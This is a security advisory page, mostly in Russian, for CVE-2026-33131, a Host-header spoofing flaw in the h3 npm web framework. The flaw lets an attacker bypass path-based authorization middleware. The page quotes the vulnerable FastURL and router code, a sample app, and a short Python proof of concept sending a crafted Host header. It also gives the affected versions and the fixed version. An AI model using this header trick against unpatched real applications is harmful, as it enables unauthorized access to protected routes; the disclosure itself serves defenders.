GHSA-3vj8-jmxq-cgj5

Опубликовано: 18 мар. 2026

Источник: github

Github: Прошло ревью

CVSS3: 7.4

Описание

h3 has a middleware bypass with one gadget

H3 NodeRequestUrl bugs

Vulnerable pieces of code :

import { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from "h3"; let app = new H3() const internalOnly = defineHandler((event, next) => { const token = event.headers.get("x-internal-key"); if (token !== "SUPERRANDOMCANNOTBELEAKED") { return new Response("Forbidden", { status: 403 }); } return next(); }); const logger = defineHandler((event, next) => { console.log("Logging : " + event.url.hostname) return next() }) app.use(logger); app.use("/internal/run", internalOnly); app.get("/internal/run", () => { return "Internal OK"; }); serve(app, { port: 3001 });

The middleware is super safe now with just a logger and a middleware to block internal access. But there's one problems here at the logger . When it log out the event.url or event.url.hostname or event.url._url

It will lead to trigger one specials method

// _url.mjs FastURL get _url() { if (this.#url) return this.#url; this.#url = new NativeURL(this.href); this.#href = void 0; this.#protocol = void 0; this.#host = void 0; this.#pathname = void 0; this.#search = void 0; this.#searchParams = void 0; this.#pos = void 0; return this.#url; }

The NodeRequestUrl is extends from FastURL so when we just access .url or trying to dump all data of this class . This function will be triggered !!

And as debugging , the this.#url is null and will reach to this code :

this.#url = new NativeURL(this.href);

Where is the this.href comes from ?

get href() { if (this.#url) return this.#url.href; if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`; return this.#href; }

Because the this.#url is still null so this.#href is built up by :

if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`;

Yeah and this is untrusted data go . An attacker can pollute the Host header from requests lead overwrite the event.url .

Middleware bypass

What can be done with overwriting the event.url? Audit the code we can easily realize that the routeHanlder is found before running any middlewares

handler(event) { const route = this["~findRoute"](event); if (route) { event.context.params = route.params; event.context.matchedRoute = route.data; } const routeHandler = route?.data.handler || NoHandler; const middleware = this["~getMiddleware"](event, route); return middleware.length > 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event); }

So the handleRoute is fixed but when checking with middleware it check with the spoofed one lead to MIDDLEWARE BYPASS

We have this poc :

import requests url = "http://localhost:3000" headers = { "Host":f"localhost:3000/abchehe?" } res = requests.get(f"{url}/internal/run",headers=headers) print(res.text)

This is really dangerous if some one just try to dump all the event.url or something that trigger _url() from class FastURL and need a fix immediately.

Ссылки

Пакеты

Наименование

npm

Затронутые версииВерсия исправления

>= 2.0.0-0, < 2.0.1-rc.15

2.0.1-rc.15

EPSS

Процентиль: 32%

0.00388

Низкий

7.4 High

CVSS3

CVE ID

CVE-2026-33131

Дефекты

CWE-290

Связанные уязвимости

CVE-2026-33131

CVSS3: 7.4

nvd

5 месяцев назад

H3 is a minimal H(TTP) framework. Versions 2.0.0-0 through 2.0.1-rc.14 contain a Host header spoofing vulnerability in the NodeRequestUrl (which extends FastURL) which allows middleware bypass. When event.url, event.url.hostname, or event.url._url is accessed, such as in a logging middleware, the _url getter constructs a URL from untrusted data, including the user-controlled Host header. Because H3's router resolves the route handler before middleware runs, an attacker can supply a crafted Host header (e.g., Host: localhost:3000/abchehe?) to make the middleware path check fail while the route handler still matches, effectively bypassing authentication or authorization middleware. This affects any application built on H3 (including Nitro/Nuxt) that accesses event.url properties in middleware guarding sensitive routes. The issue requires an immediate fix to prevent FastURL.href from being constructed with unsanitized, attacker-controlled input. Version 2.0.1-rc.15 contains a patch for th

EPSS

Процентиль: 32%

0.00388

Низкий

7.4 High

CVSS3

CVE ID

CVE-2026-33131

Дефекты

CWE-290